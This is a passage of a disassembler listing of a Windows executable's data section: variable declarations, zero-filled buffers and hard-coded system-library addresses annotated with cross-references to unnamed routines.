sub_409E0C+574w ; sub_409E0C+6E8r ... dword_4E41B8 dd 7620AFB6h ; DATA XREF: sub_409E0C+83Fw ; sub_409E0C+873r dword_4E41BC dd 77D5C13Ah ; DATA XREF: sub_409E0C+220w ; sub_409E0C+23Cr ... dword_4E41C0 dd 77D45B19h ; DATA XREF: sub_409E0C+172w ; sub_409E0C+1C2r ... dword_4E41C4 dd 71AB157Eh ; DATA XREF: sub_401CC7+1DE8r ; sub_401CC7+5C29r ... dword_4E41C8 dd 71AB3E5Dh ; DATA XREF: sub_4019E7+C4r ; sub_401CC7+52F1r ... dword_4E41CC dd 71AB14DCh ; DATA XREF: sub_409E0C+567w ; sub_409E0C+6DCr ... dword_4E41D0 dd 0CC0004h ; DATA XREF: sub_409E0C+8DBw ; sub_409E0C:loc_40A705w ... dword_4E41D4 dd 77DD590Bh ; DATA XREF: sub_401000+26r ; sub_409E0C+28Bw ... dword_4E41D8 dd 71ABD755h ; DATA XREF: sub_401CC7+7AA6r ; sub_409E0C+69Fw ... dword_4E41DC dd 77DF7311h ; DATA XREF: sub_409E0C+32Dw ; sub_409E0C+341r ... dword_4E41E0 dd 77DDA2AFh ; DATA XREF: sub_409E0C+3B3w ; sub_409E0C+3EFr ... dword_4E41E4 dd 1F7CD927h ; DATA XREF: sub_409E0C+C01w ; sub_409E0C+C37r dword_4E41E8 dd 76206853h ; DATA XREF: sub_409E0C+818w ; sub_409E0C+888r ... dword_4E41EC dd 77D4932Ch ; DATA XREF: sub_409E0C+206w ; sub_409E0C+227r ... dword_4E41F0 dd 77D5E310h ; DATA XREF: sub_409E0C+18Cw ; sub_409E0C+1D2r ... dword_4E41F4 dd 76206B7Fh ; DATA XREF: sub_409E0C+832w ; sub_409E0C+898r ... dword_4E41F8 dd 71AB1444h ; DATA XREF: sub_409E0C+624w ; sub_409E0C+774r ... dword_4E41FC dd 77DD189Ah ; DATA XREF: sub_401000+5Ar ; sub_409E0C+2BFw ... dword_4E4200 dd 71AB3F8Dh ; DATA XREF: sub_409E0C+66Bw ; sub_409E0C+79Cr ... dword_4E4204 dd 77DD5D20h ; DATA XREF: sub_409E0C+320w ; sub_409E0C+334r ... dword_4E4208 dd 71AB1890h ; DATA XREF: sub_409E0C+644w ; sub_409E0C+784r ... dword_4E420C dd 77C76B34h ; DATA XREF: sub_409E0C+44Cw ; sub_409E0C+4AEr ... dword_4E4210 dd 77D5E38Ch ; DATA XREF: sub_409E0C+199w ; sub_409E0C+1DAr ... dword_4E4214 dd 77DDA20Bh ; DATA XREF: sub_409E0C+365w ; sub_409E0C+3BAr ... dword_4E4218 dd 76F36EEBh ; DATA XREF: sub_409E0C+AA2w dword_4E421C dd 71AB12A7h ; DATA XREF: sub_409E0C+5DCw ; sub_409E0C+748r ... dword_4E4220 dd 71AB1746h ; DATA XREF: sub_4019E7+3Er ; sub_401CC7+52A3r ... dword_4E4224 dd 77EBA595h ; DATA XREF: sub_409E0C+4Bw ; sub_409E0C+C2r ... dword_4E4228 dd 77C7531Dh ; DATA XREF: sub_409E0C+473w ; sub_409E0C+4CBr ... dword_4E422C dd 77D4BDCAh ; DATA XREF: sub_409E0C+165w ; sub_409E0C+1BAr ... dword_4E4230 dd 71C3516Ah ; DATA XREF: sub_409E0C+9FFw ; sub_409E0C+A5Br ... dword_4E4234 dd 71AB32CAh ; DATA XREF: sub_409E0C+685w ; sub_409E0C+7ACr ... dword_4E4238 dd 71AB5690h ; DATA XREF: sub_401B4F+D1r ; sub_401CC7+5306r ... dword_4E423C dd 1F7CB8F8h ; DATA XREF: sub_409E0C+C1Bw ; sub_409E0C+C47r dword_4E4240 dd 77EBB1E7h ; DATA XREF: sub_409E0C+3Ew ; sub_409E0C+BAr ... dword_4E4244 dd 77DD59F0h ; DATA XREF: sub_401000+45r ; sub_409E0C+298w ... dword_4E4248 dd 71AB5DE2h ; DATA XREF: sub_409E0C+651w ; sub_409E0C+78Cr ... dword_4E424C dd 71AB3ECEh ; DATA XREF: sub_409E0C+637w ; sub_409E0C+77Cr ... dword_4E4250 dd 73B81B0Fh ; DATA XREF: sub_401CC7+751Ar ; sub_409E0C+C92w dword_4E4254 dd 76204E4Dh ; DATA XREF: sub_409E0C+879w ; sub_416F9A+4DCr ... dword_4E4258 dd 0 ; DATA XREF: sub_409E0C+112w dword_4E425C dd 1F7D886Ah ; DATA XREF: sub_409E0C+BE7w ; sub_409E0C+C22r dword_4E4260 dd 71AB12F8h ; DATA XREF: sub_401CC7+2FF6r ; sub_401CC7+60E8r ... dword_4E4264 dd 77C76551h ; DATA XREF: sub_409E0C+459w ; sub_409E0C+4BBr ... dword_4E4268 dd 77C729E2h ; DATA XREF: sub_409E0C+49Aw ; sub_409E0C+4E3r ... dword_4E426C dd 77C7212Fh ; DATA XREF: sub_409E0C+466w ; sub_409E0C+4C3r ... dword_4E4270 dd 71AB1AF4h ; DATA XREF: sub_401B4F+89r ; sub_401CC7+5323r ... dword_4E4274 dd 77D5E303h ; DATA XREF: sub_409E0C+1A6w ; sub_409E0C+1E2r ... dword_4E4278 dd 71C4576Ch ; DATA XREF: sub_409E0C+9F2w ; sub_409E0C+A53r ... dword_4E427C dd 77D4702Fh ; DATA XREF: sub_409E0C+158w ; sub_409E0C+1ADr ... dword_4E4280 dd 77E6C0E3h ; DATA XREF: sub_409E0C+8Cw ; sub_409E0C+E2r ... dword_4E4284 dd 71AB1ED3h ; DATA XREF: sub_409E0C+610w ; sub_409E0C+764r ... dword_4E4288 dd 71B2A381h ; DATA XREF: sub_409E0C+B43w ; sub_409E0C+B5Fr dword_4E428C dd 77DDA595h ; DATA XREF: sub_409E0C+33Aw ; sub_41A556+55r dword_4E4290 dd 77DD22EAh ; DATA XREF: sub_409E0C+27Ew ; sub_409E0C+2D3r ... dword_4E4294 dd 773F97B0h ; DATA XREF: sub_409E0C+BAAw dword_4E4298 dd 76D67A29h ; DATA XREF: sub_409E0C+AECw ; sub_40AEC5+D4r dword_4E429C dd 76D674FAh ; DATA XREF: sub_409E0C+ADFw ; sub_409E0C+AE6r ... dword_4E42A0 dd 71AB3C22h ; DATA XREF: sub_4019E7+A6r ; sub_401CC7+5282r ... dword_4E42A4 dd 71AB2BBFh ; DATA XREF: sub_401CC7+5274r ; sub_401CC7+7ACDr ... dword_4E42A8 dd 1F7BA3A9h ; DATA XREF: sub_409E0C+BF4w ; sub_409E0C+C2Fr dword_4E42AC dd 71AB401Ch ; DATA XREF: sub_401CC7+1E0Er ; sub_401CC7+5C4Fr ... dword_4E42B0 dd 71C214BAh ; DATA XREF: sub_409E0C+9B1w ; sub_409E0C+A2Br ... dword_4E42B4 dd 71AB868Dh ; DATA XREF: sub_409E0C+65Ew ; sub_409E0C+794r ... dword_4E42B8 dd 71AB1A6Dh ; DATA XREF: sub_401317+12r ; sub_4019E7+D0r ... dword_4E42BC dd 71AB155Ah ; DATA XREF: sub_409E0C+59Bw ; sub_409E0C+70Cr ... dword_4E42C0 dd 71B22C25h ; DATA XREF: sub_409E0C+B36w ; sub_409E0C+B57r dword_4E42C4 dd 71AB5A01h ; DATA XREF: sub_409E0C+540w ; sub_409E0C+6C4r ... dword_4E42C8 dd 71B2ACCBh ; DATA XREF: sub_409E0C+B29w ; sub_409E0C+B4Ar dword_4E42CC dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r ; sub_409E0C+31w ... dword_4E42D0 dd 77D49A11h ; DATA XREF: sub_409E0C+17Fw ; sub_409E0C+1CAr ... align 8 dword_4E42D8 dd 76D62A37h ; DATA XREF: sub_409E0C+927w ; sub_409E0C+93Br ... dword_4E42DC dd 77E6CBF9h ; DATA XREF: sub_409E0C+99w ; sub_409E0C+EAr ... dword_4E42E0 dd 0 ; DATA XREF: sub_409E0C:loc_409F0Aw ; sub_409E0C+12Bw ... dword_4E42E4 dd 0 ; DATA XREF: sub_409E0C+126w ; sub_40AAC8+1Cr dword_4E42E8 dd 0 ; DATA XREF: sub_409E0C:loc_409FFAw ; sub_409E0C:loc_40A061w ... dword_4E42EC dd 0 ; DATA XREF: sub_409E0C+250w ; sub_40AAC8+50r dword_4E42F0 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r ; sub_401CC7+45E1r ... dword_4E42F4 dd 0 ; DATA XREF: sub_409E0C+41Ew ; sub_40AAC8+84r dword_4E42F8 dd 0 ; DATA XREF: sub_409E0C:loc_40A310w ; sub_40AAC8:loc_40AB78r dword_4E42FC dd 0 ; DATA XREF: sub_409E0C+4FFw ; sub_40AAC8+B8r dword_4E4300 dd 0 ; DATA XREF: sub_409E0C:loc_40A5E1w ; sub_40AAC8:loc_40ABACr dword_4E4304 dd 0 ; DATA XREF: sub_409E0C+7D0w ; sub_40AAC8+ECr dword_4E4308 dd 0 ; DATA XREF: sub_409E0C:loc_40A6CCw ; sub_409E0C+8EFw ... dword_4E430C dd 0 ; DATA XREF: sub_409E0C+8EAw ; sub_40AAC8+120r dword_4E4310 dd 0 ; DATA XREF: sub_401CC7:loc_40725Fr ; sub_409E0C:loc_40A760w ... dword_4E4314 dd 0 ; DATA XREF: sub_409E0C+94Fw ; sub_40AAC8+154r dword_4E4318 dd 0 ; DATA XREF: sub_401CC7+45E9r ; sub_409E0C:loc_40A87Cw ... dword_4E431C dd 0 ; DATA XREF: sub_409E0C+A6Bw ; sub_40AAC8+188r dword_4E4320 dd 0 ; DATA XREF: sub_409E0C:loc_40A8C6w ; sub_40AAC8:loc_40AC7Cr dword_4E4324 dd 0 ; DATA XREF: sub_409E0C+AB5w ; sub_40AAC8+1BCr dword_4E4328 dd 0 ; DATA XREF: sub_409E0C:loc_40A910w ; sub_40AAC8:loc_40ACB0r dword_4E432C dd 0 ; DATA XREF: sub_409E0C+AFFw ; sub_40AAC8+1F0r dword_4E4330 dd 0 ; DATA XREF: sub_409E0C:loc_40A984w ; sub_40AAC8:loc_40ACE4r dword_4E4334 dd 0 ; DATA XREF: sub_409E0C+B73w ; sub_40AAC8+224r dword_4E4338 dd 0 ; DATA XREF: sub_409E0C:loc_40A9CEw ; sub_40AAC8:loc_40AD18r dword_4E433C dd 0 ; DATA XREF: sub_409E0C+BBDw ; sub_40AAC8+258r dword_4E4340 dd 0 ; DATA XREF: sub_409E0C:loc_40AA6Cw ; sub_40AAC8:loc_40AD4Cr dword_4E4344 dd 0 ; DATA XREF: sub_409E0C+C5Bw ; sub_40AAC8+28Cr dword_4E4348 dd 0 ; DATA XREF: sub_409E0C:loc_40AAB6w ; sub_40AAC8:loc_40AD80r dword_4E434C dd 0 ; DATA XREF: sub_409E0C+CA5w ; sub_40AAC8+2C0r ; char byte_4E4350[] byte_4E4350 db 14h dup(0) ; DATA XREF: sub_40AFA9+32o dword_4E4364 dd 2 dup(0) ; DATA XREF: .text:0040AE04o dword_4E436C dd 0 ; DATA XREF: sub_40B2D5+12o dword_4E4370 dd 0 ; DATA XREF: sub_40B3DF+33o dword_4E4374 dd 0 ; DATA XREF: sub_40B3DF+63o byte_4E4378 db 0 ; DATA XREF: sub_40B687+6Ar ; sub_40B687+98w align 10h dword_4E4380 dd 0 ; DATA XREF: sub_40C0EE+18r ; sub_40C63B+9o ... dword_4E4384 dd 0 ; DATA XREF: sub_40C989+4Dr ; sub_40CBA1+D9w ... dd 73h dup(0) db 2 dup(0) word_4E4556 dw 0 ; DATA XREF: .data:00455B2Co dd 0BAh dup(0) db 3 dup(0) byte_4E4843 db 0 ; DATA XREF: .data:00455C9Co ; .data:00455CDCo ... dd 40h dup(0) db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: .data:0045580Co ; .data:00455814o dd 181h dup(0) db 2 dup(0) word_4E4F4E dw 0 ; DATA XREF: .data:00455E7Co dd 0FDh dup(0) db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: .data:00455998o ; .data:00455EE4o dd 40Eh dup(0) dword_4E6380 dd 6 dup(0) ; DATA XREF: sub_40C989+D2o ; sub_40C989+13Bo ... dword_4E6398 dd 0 ; DATA XREF: sub_40C165+2C4w ; sub_40C165+348o dword_4E639C dd 0 ; DATA XREF: sub_40C165+33Ew ; sub_40C165+35Ar dword_4E63A0 dd 0 ; DATA XREF: sub_40C165+2CFw dword_4E63A4 dd 0 ; DATA XREF: sub_40C165+2B9w ; sub_40C165:loc_40C47Ar ; char byte_4E63A8[] byte_4E63A8 db 80h dup(0) ; DATA XREF: sub_40C165+2E2o ; sub_40C165+302o dword_4E6428 dd 0 ; DATA XREF: sub_40C165+2D5w dword_4E642C dd 0 ; DATA XREF: sub_40C165+2EFw ; sub_40C165+30Fw dword_4E6430 dd 0 ; DATA XREF: sub_40C165:loc_40C4D5r align 8 dword_4E6438 dd 0 ; DATA XREF: sub_40C165+82w ; sub_40C165+101o dword_4E643C dd 41h dup(0) ; DATA XREF: sub_40C165+41o ; char byte_4E6540[] byte_4E6540 db 104h dup(0) ; DATA XREF: sub_40C165+69o dword_4E6644 dd 0 ; DATA XREF: sub_40C165+F7w ; sub_40C165+113r dword_4E6648 dd 0 ; DATA XREF: sub_40C165+52w dword_4E664C dd 0 ; DATA XREF: sub_40C165+4Dw ; sub_40C165+D4r ; char byte_4E6650[] byte_4E6650 db 80h dup(0) ; DATA XREF: sub_40C165+9Ao ; sub_40C165+BAo dword_4E66D0 dd 0 ; DATA XREF: sub_40C165+8Fw dword_4E66D4 dd 0 ; DATA XREF: sub_40C165+A7w ; sub_40C165+C7w dword_4E66D8 dd 0 ; DATA XREF: sub_40C165:loc_40C28Er align 10h dword_4E66E0 dd 0 ; DATA XREF: sub_40C165+1A5w ; sub_40C165+225o dword_4E66E4 dd 41h dup(0) ; DATA XREF: sub_40C165+167o ; char byte_4E67E8[] byte_4E67E8 db 104h dup(0) ; DATA XREF: sub_40C165+18Co dword_4E68EC dd 0 ; DATA XREF: sub_40C165+21Bw ; sub_40C165+237r dword_4E68F0 dd 0 ; DATA XREF: sub_40C165+17Aw dword_4E68F4 dd 0 ; DATA XREF: sub_40C165+175w ; sub_40C165+1F8r ; char byte_4E68F8[] byte_4E68F8 db 80h dup(0) ; DATA XREF: sub_40C165+1BEo ; sub_40C165+1DEo dword_4E6978 dd 0 ; DATA XREF: sub_40C165+1B1w dword_4E697C dd 0 ; DATA XREF: sub_40C165+1CBw ; sub_40C165+1EBw dword_4E6980 dd 0 ; DATA XREF: sub_40C165:loc_40C3B2r align 8 dword_4E6988 dd 0 ; DATA XREF: sub_40C165+417w ; sub_40C165+470o ; char byte_4E698C[] byte_4E698C db 288h dup(0) ; DATA XREF: sub_40C165+405o ; char byte_4E6C14[] byte_4E6C14 db 104h dup(0) ; DATA XREF: sub_40C165+3CFo dword_4E6D18 dd 0 ; DATA XREF: sub_40C165+3FCw ; sub_40C165+423r align 10h dword_4E6D20 dd 0 ; DATA XREF: sub_40C165+466w ; sub_40C165+482r dword_4E6D24 dd 0 ; DATA XREF: sub_40C165+429w dword_4E6D28 dd 0 ; DATA XREF: sub_40C165+436w dword_4E6D2C dd 0 ; DATA XREF: sub_40C165+3F6w dd 0 dword_4E6D34 dd 0 ; DATA XREF: sub_40C165:loc_40C5FDr dd 0 dword_4E6D3C dd 0 ; DATA XREF: sub_40BDB1+Er ; sub_40BDB1+32r ... dword_4E6D40 dd 0 ; DATA XREF: sub_40BDB1+9r ; sub_40BDB1+26r ... ; char byte_4E6D44[] byte_4E6D44 db 208h dup(0) ; DATA XREF: sub_40CE00+8Do dword_4E6F4C dd 2 dup(0) ; DATA XREF: sub_40D797+68o dword_4E6F54 dd 0 ; DATA XREF: sub_40D237+13o dword_4E6F58 dd 0 ; DATA XREF: sub_40DA86+10o dword_4E6F5C dd 2080Ah ; DATA XREF: sub_40E303+8w ; sub_40E3FF+2D6o dd 0 dword_4E6F64 dd 0 ; DATA XREF: sub_40E3FF+64o dword_4E6F68 dd 0 ; DATA XREF: sub_40E3FF+69o dword_4E6F6C dd 3 dup(0) ; DATA XREF: sub_40E3FF+20Co dword_4E6F78 dd 0 ; DATA XREF: sub_40EC96+148o dword_4E6F7C dd 0 ; DATA XREF: sub_40EF61+1Fr ; sub_40EFAC+BCo ... dword_4E6F80 dd 0 ; DATA XREF: sub_40EFAC+B7o ; sub_40EFAC+DAr ... dword_4E6F84 dd 0 ; DATA XREF: sub_40EFAC+9Ao ; sub_40EFAC+CFr ... dword_4E6F88 dd 0 ; DATA XREF: sub_40EF1E+35r ; sub_40EFAC+95o ... dword_4E6F8C dd 0 ; DATA XREF: sub_40EF1E+17r ; sub_40EF61+3Dr ... dd 0 dword_4E6F94 dd 0D1C0h ; DATA XREF: sub_40C165+2AEr ; sub_40F181+10w ... dd 0 dword_4E6F9C dd 0 ; DATA XREF: sub_40BE1D+1Cr ; sub_40F198+27Cw dword_4E6FA0 dd 0 ; DATA XREF: sub_40FA71+2Aw ; sub_40FA71+51r ... align 10h dword_4E6FB0 dd 3 dup(0) ; DATA XREF: sub_410B94+74o dword_4E6FBC dd 0 ; DATA XREF: sub_411278+146r dd 0 dword_4E6FC4 dd 2 dup(0) ; DATA XREF: sub_411278+139o byte_4E6FCC db 0 ; DATA XREF: sub_41224F+1EFr align 10h dword_4E6FD0 dd 0 ; DATA XREF: sub_412E0A+4w ; sub_412E0A+9o align 8 byte_4E6FD8 db 0 ; DATA XREF: sub_413956+1D3w ; sub_413956+2D2o align 2 word_4E6FDA dw 0 ; DATA XREF: sub_413956+1E3w word_4E6FDC dw 0 ; DATA XREF: sub_413956+1E9w word_4E6FDE dw 0 ; DATA XREF: sub_413956+1F0w byte_4E6FE0 db 0 ; DATA XREF: sub_413956+1F7w byte_4E6FE1 db 0 ; DATA XREF: sub_413956+1FEw word_4E6FE2 dw 0 ; DATA XREF: sub_413956+204w dword_4E6FE4 dd 0 ; DATA XREF: sub_413956+234w ; sub_413956+250w dword_4E6FE8 dd 0 ; DATA XREF: sub_413956+258w byte_4E6FEC db 0 ; DATA XREF: sub_413956+26Aw byte_4E6FED db 0 ; DATA XREF: sub_413956+27Dw word_4E6FEE dw 0 ; DATA XREF: sub_413956+295w word_4E6FF0 dw 0 ; DATA XREF: sub_413956+2A4w word_4E6FF2 dw 0 ; DATA XREF: sub_413956+29Cw dword_4E6FF4 dd 101h dup(0) ; DATA XREF: sub_413956+2B9o ; char byte_4E73F8[] byte_4E73F8 db 200h dup(0) ; DATA XREF: sub_401CC7+2F7Bo ; sub_401CC7:loc_404CD0o ... byte_4E75F8 db 0 ; DATA XREF: sub_4151FE+1A1w ; sub_4151FE+27Ao align 2 word_4E75FA dw 0 ; DATA XREF: sub_4151FE+1AEw word_4E75FC dw 0 ; DATA XREF: sub_4151FE+1B8w word_4E75FE dw 0 ; DATA XREF: sub_4151FE+1C1w byte_4E7600 db 0 ; DATA XREF: sub_4151FE+1C8w byte_4E7601 db 0 ; DATA XREF: sub_4151FE+1CFw word_4E7602 dw 0 ; DATA XREF: sub_4151FE+1D6w dword_4E7604 dd 0 ; DATA XREF: sub_4151FE+1E3w dword_4E7608 dd 0 ; DATA XREF: sub_4151FE+1EBw word_4E760C dw 0 ; DATA XREF: sub_4151FE+244w word_4E760E dw 0 ; DATA XREF: sub_4151FE+22Cw word_4E7610 dw 0 ; DATA XREF: sub_4151FE+256w word_4E7612 dw 0 ; DATA XREF: sub_4151FE+1F7w dword_4E7614 dd 101h dup(0) ; DATA XREF: sub_4151FE+265o dword_4E7A18 dd 0 ; DATA XREF: sub_401CC7+19DDw ; sub_401CC7+2F73r ... dd 3 dup(0) byte_4E7A28 db 0 ; DATA XREF: sub_4156E7+244o ; sub_4156E7+253w ... byte_4E7A29 db 0 ; DATA XREF: sub_4156E7+267w word_4E7A2A dw 0 ; DATA XREF: sub_4156E7+298w word_4E7A2C dw 0 ; DATA XREF: sub_4156E7+27Fw ; sub_4156E7:loc_415AADw word_4E7A2E dw 0 ; DATA XREF: sub_4156E7+29Ew byte_4E7A30 db 0 ; DATA XREF: sub_4156E7+28Bw byte_4E7A31 db 0 ; DATA XREF: sub_4156E7+260w word_4E7A32 dw 0 ; DATA XREF: sub_4156E7+3E6w ; sub_4156E7+410w dword_4E7A34 dd 0 ; DATA XREF: sub_4156E7:loc_4159A4w ; sub_4156E7+38Er dword_4E7A38 dd 0 ; DATA XREF: sub_4156E7+2CAw word_4E7A3C dw 0 ; DATA XREF: sub_4156E7+388w ; sub_4156E7+3DCo word_4E7A3E dw 0 ; DATA XREF: sub_4156E7+329w ; sub_4156E7+34Er ... dword_4E7A40 dd 0 ; DATA XREF: sub_4156E7+300w ; sub_4156E7+3CDw dword_4E7A44 dd 0 ; DATA XREF: sub_4156E7+31Cw ; sub_4156E7+39Fw ... byte_4E7A48 db 0 ; DATA XREF: sub_4156E7+305r ; sub_4156E7+313w byte_4E7A49 db 0 ; DATA XREF: sub_4156E7+2CFw ; sub_4156E7+398w ... word_4E7A4A dw 0 ; DATA XREF: sub_4156E7+2DDw word_4E7A4C dw 0 ; DATA XREF: sub_4156E7+3EDw ; sub_4156E7+41Ew word_4E7A4E dw 0 ; DATA XREF: sub_4156E7+322w word_4E7A50 dw 0 ; DATA XREF: sub_4156E7+354w ; sub_4156E7+426o word_4E7A52 dw 0 ; DATA XREF: sub_4156E7+363w ; sub_4156E7+3FDw dword_4E7A54 dd 0 ; DATA XREF: sub_4156E7+35Dw align 10h dword_4E7A60 dd 0 ; DATA XREF: sub_4156E7+393w ; sub_4156E7+40Bo dword_4E7A64 dd 0 ; DATA XREF: sub_4156E7+32Fw byte_4E7A68 db 0 ; DATA XREF: sub_4156E7+335w byte_4E7A69 db 0 ; DATA XREF: sub_4156E7+33Bw word_4E7A6A dw 0 ; DATA XREF: sub_4156E7+348w dword_4E7A6C dd 7 dup(0) ; DATA XREF: sub_4156E7+3E1o dword_4E7A88 dd 0 ; DATA XREF: sub_4156E7+30w ; sub_4156E7+42Fr ; char byte_4E7A8C[] byte_4E7A8C db 404h dup(0) ; DATA XREF: sub_4156E7+1C0o ; sub_4156E7+472o ; char byte_4E7E90[] byte_4E7E90 db 4000h dup(0) ; DATA XREF: sub_415C77+1Do ; .text:00415D61o ... ; char byte_4EBE90[] byte_4EBE90 db 4 dup(0) ; DATA XREF: sub_415C77+13o ; .text:00415DA8o ... dword_4EBE94 dd 0 ; DATA XREF: sub_416191+Fr ; sub_41638A+12r align 10h dword_4EBEA0 dd 0 ; DATA XREF: .data:0044E460o dword_4EBEA4 dd 0 ; DATA XREF: .data:0044E478o dword_4EBEA8 dd 0 ; DATA XREF: .data:0044E490o dword_4EBEAC dd 0 ; DATA XREF: .data:0044E4A8o dword_4EBEB0 dd 0 ; DATA XREF: .data:0044E4C0o dword_4EBEB4 dd 0 ; DATA XREF: .data:0044E4D8o dword_4EBEB8 dd 0 ; DATA XREF: .data:0044E4F0o dword_4EBEBC dd 0 ; DATA XREF: .data:0044E508o dword_4EBEC0 dd 0 ; DATA XREF: .data:0044E520o dword_4EBEC4 dd 0 ; DATA XREF: .data:0044E538o dword_4EBEC8 dd 0 ; DATA XREF: .data:0044E550o dword_4EBECC dd 0 ; DATA XREF: .data:0044E568o dword_4EBED0 dd 0 ; DATA XREF: .data:0044E580o dword_4EBED4 dd 0 ; DATA XREF: .data:0044E5B0o dword_4EBED8 dd 0 ; DATA XREF: .data:0044E5C8o dword_4EBEDC dd 0 ; DATA XREF: .data:0044E5E0o dword_4EBEE0 dd 0 ; DATA XREF: .data:0044E5F8o dword_4EBEE4 dd 0 ; DATA XREF: .data:0044E610o dword_4EBEE8 dd 0 ; DATA XREF: .data:0044E628o dword_4EBEEC dd 0 ; DATA XREF: .data:0044E640o dword_4EBEF0 dd 2 dup(0) ; DATA XREF: .data:0044E658o dword_4EBEF8 dd 2 dup(0) ; DATA XREF: sub_4167F7:loc_41688Ao dword_4EBF00 dd 0 ; DATA XREF: sub_416F9A+431o dword_4EBF04 dd 0Eh dup(0) ; DATA XREF: sub_4174C3+Fo ; char byte_4EBF3C[] byte_4EBF3C db 200h dup(0) ; DATA XREF: sub_418192+41o ; wchar_t word_4EC13C word_4EC13C dw 0 ; DATA XREF: sub_417AC3+C7o ; sub_417E1E+DDo ... align 10h dd 1FFh dup(0) ; wchar_t word_4EC93C word_4EC93C dw 0 ; DATA XREF: sub_417AC3+D6o ; sub_417E1E+F4o ... align 10h dd 1FFh dup(0) dword_4ED13C dd 0 ; DATA XREF: sub_417AC3+86w ; sub_417C95+94r dword_4ED140 dd 0 ; DATA XREF: sub_417AC3+A7w ; sub_4180FB+55r ... dword_4ED144 dd 0 ; DATA XREF: sub_417AC3+A0w ; sub_417C95+D6r ... dword_4ED148 dd 0 ; DATA XREF: sub_417AC3+79w ; sub_417C95+35r ... ; char byte_4ED14C[] byte_4ED14C db 200h dup(0) ; DATA XREF: sub_4180FB+5Eo dword_4ED34C dd 0 ; DATA XREF: sub_417AC3+93w ; sub_417C95+A2r dd 0 dword_4ED354 dd 0 ; DATA XREF: sub_417AC3+E7o ; sub_417AC3+103r ... dword_4ED358 dd 0 ; DATA XREF: sub_417E1E+17Bw ; sub_417FC5+107w ; void *Src Src dd 0 ; DATA XREF: sub_417E1E+180w ; sub_417FC5+10Dw ... dword_4ED360 dd 0 ; DATA XREF: sub_417E1E+159w ; sub_4180FB+4Fr align 8 dword_4ED368 dd 0 ; DATA XREF: sub_418465+22w ; sub_418465:loc_4185EAw ... dword_4ED36C dd 0 ; DATA XREF: sub_401CC7+3CF0o ; sub_418331+12o ... dd 0 dword_4ED374 dd 0 ; DATA XREF: sub_418465+1Cr ; sub_41860A+3Ar dd 7Fh dup(0) dword_4ED574 dd 0 ; DATA XREF: sub_418465+28r ; sub_41860A+4Aw dd 1944h dup(0) dword_4F3A88 dd 0 ; DATA XREF: sub_41860A+23o dword_4F3A8C dd 0 ; DATA XREF: sub_401CC7+3D14o ; sub_418331+3Co ... dword_4F3A90 dd 0 ; DATA XREF: .data:00450354o dword_4F3A94 dd 0 ; DATA XREF: .data:0045035Co dword_4F3A98 dd 0 ; DATA XREF: .data:00450360o dword_4F3A9C dd 0 ; DATA XREF: .data:00450364o dword_4F3AA0 dd 0 ; DATA XREF: .data:00450368o dword_4F3AA4 dd 0 ; DATA XREF: .data:00450384o dword_4F3AA8 dd 0 ; DATA XREF: .data:0045038Co dword_4F3AAC dd 0 ; DATA XREF: .data:00450390o dword_4F3AB0 dd 0 ; DATA XREF: .data:0045039Co dword_4F3AB4 dd 0 ; DATA XREF: .data:004503A0o dword_4F3AB8 dd 0 ; DATA XREF: .data:004503A8o ; char byte_4F3ABC[] byte_4F3ABC db 204h dup(0) ; DATA XREF: sub_418E9D+6Ao dword_4F3CC0 dd 0 ; DATA XREF: sub_41912E+E9o ; char byte_4F3CC4[] byte_4F3CC4 db 5Ch dup(0) ; DATA XREF: sub_4196E2:loc_4197FFo ; sub_4196E2+131o ... ; char byte_4F3D20[] byte_4F3D20 db 200h dup(0) ; DATA XREF: sub_41A498+7Co ; sub_41A498+A5o dword_4F3F20 dd 0 ; DATA XREF: sub_419A5D+45w ; sub_419A5D+4Dr ... ; char byte_4F3F24[] byte_4F3F24 db 5Ch dup(0) ; DATA XREF: sub_41A364:loc_41A486o ; sub_41A364+12Do ; char byte_4F3F80[] byte_4F3F80 db 200h dup(0) ; DATA XREF: sub_41999D+4Co ; sub_41999D+7Eo ... byte_4F4180 db 0 ; DATA XREF: sub_419A5D+29r ; sub_419A5D+34w align 4 ; char byte_4F4184[] byte_4F4184 db 200h dup(0) ; DATA XREF: sub_419CB4+61o ; sub_419CB4+89o ... ; char byte_4F4384[] byte_4F4384 db 204h dup(0) ; DATA XREF: sub_4195C6:loc_4195FEo ; sub_4195C6+5Bo dword_4F4588 dd 0 ; DATA XREF: sub_41A939:loc_41A95Ar ; sub_41AA28+54r ... dword_4F458C dd 0 ; DATA XREF: sub_41A939r ; sub_41AA28+37r ... dword_4F4590 dd 0 ; DATA XREF: sub_41A969+1Ar ; sub_41AB7D+83o dword_4F4594 dd 0 ; DATA XREF: sub_41A939:loc_41A94Dr ; sub_41AB7D+11Bw ; char byte_4F4598[] byte_4F4598 db 34h dup(0) ; DATA XREF: sub_41AA28+13o ; sub_41AB7D:loc_41ACBEo ; int dword_4F45CC dword_4F45CC dd 0 ; DATA XREF: sub_41AA28+CDr ; sub_41AA28+ECr ... dd 0 ; char byte_4F45D4[] byte_4F45D4 db 4 dup(0) ; DATA XREF: sub_41A9A1+9o dword_4F45D8 dd 0 ; DATA XREF: sub_41AB7D+DFo ; char byte_4F45DC[] byte_4F45DC db 4 dup(0) ; DATA XREF: sub_41AB7D:loc_41ACB9o ; char byte_4F45E0[] byte_4F45E0 db 38h dup(0) ; DATA XREF: sub_41B7A7+47o dword_4F4618 dd 4 dup(0) ; DATA XREF: sub_41B964+13o dword_4F4628 dd 0 ; DATA XREF: .text:0041C173o dword_4F462C dd 0 ; DATA XREF: .text:0041C188o dword_4F4630 dd 0 ; DATA XREF: .text:0041C18Fo dword_4F4634 dd 0 ; DATA XREF: .text:0041C1ABo dword_4F4638 dd 0 ; DATA XREF: .text:0041C1C0o dword_4F463C dd 2 dup(0) ; DATA XREF: .text:0041C1C7o ; char byte_4F4644 byte_4F4644 db 0 ; DATA XREF: sub_41C5F5+6o ; sub_41C76A+1E6o ... align 4 dd 3Fh dup(0) word_4F4744 dw 0 ; DATA XREF: sub_41C624+2Fr align 4 dword_4F4748 dd 2 dup(0) ; DATA XREF: sub_41C624+8o dword_4F4750 dd 2 dup(0) ; DATA XREF: sub_41C624+18o dword_4F4758 dd 2 dup(0) ; DATA XREF: sub_41C76A+29o dword_4F4760 dd 941E90h ; DATA XREF: __heap_alloc_dbg+262w ; _realloc_help:loc_41D64Br ... dword_4F4764 dd 1545h ; DATA XREF: __heap_alloc_dbg:loc_41CFB3r ; 